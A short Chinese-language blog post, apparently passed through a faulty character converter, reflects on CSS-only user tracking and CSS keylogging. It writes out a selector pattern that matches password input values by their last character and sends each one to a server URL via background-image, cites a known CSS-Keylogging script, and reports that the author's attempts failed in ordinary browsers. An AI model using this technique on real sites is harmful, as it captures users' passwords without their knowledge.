CSS選擇器引發的一些思考

今天在看技術博客的時候發現這個帖子，感受挺有趣的，因而就去挖了一下，問題已是老問題，可是仍是有不少值得注意和學習的地方。

原文帖是 僅用CSS實現網頁追蹤分析,主要講的是經過CSS來記錄用戶的交互操做和獲取一些基本信息。個人第一感受就是能夠用來作推薦系統的用戶交互記錄，經過這種方式可以記錄用戶鼠標在哪些元素上懸停的時間，以及點擊的操做，等等。

瀏覽器薰染HTML文件是從上而下渲染的(須要加載完.css文件以後纔會繼續向下渲染)，要是加入許多這些追蹤用戶樣式的代碼可能會影響頁面的加載效率，可是要是有目的性的去使用這些功能，或許就比較值得了，好比說記錄用戶的按鍵輸入。

隨着這個思路，我本身嘗試了一下構造CSS選擇器去匹配用戶的輸入，CSS選擇器語法參考,另外在Google的幫助下也找到了用來獲取按鍵輸入的CSS腳本，其實想法都差很少，腳本傳送門-搜到的版本 CSS-Keylogging。

主要思路是經過相似input[type="password"][value$="x"]{ background-image: url("http://localhost:3000/x"); }的方式來進行獲取按鍵，意思就是input標籤的type值爲password的input中將value以x結尾的背景設置爲url所指向的背景，但其實這個url不是圖片背景而是一個指向傳送按鍵信息的連接。以後你懂得經過服務端獲取url中的path就能取到值了。而後對每一個按鍵到設置一個CSS腳本便可。

但其實這種方式我嘗試了不少次沒有成功，瀏覽器不會主動將input中輸入的值存在value中，因此CSS匹配的一直是初始化狀態下的value屬性值，只有那些將value同步的框架纔可能引起這些危害。

可是有一點能夠確認，能夠經過css中地url發送get請求。這讓我想到jsonp的原理，經過像構造相似script標籤中地src屬性的方式來解決跨域問題，要是不注意第三方庫，極可能也存在這種惡意腳本的加載。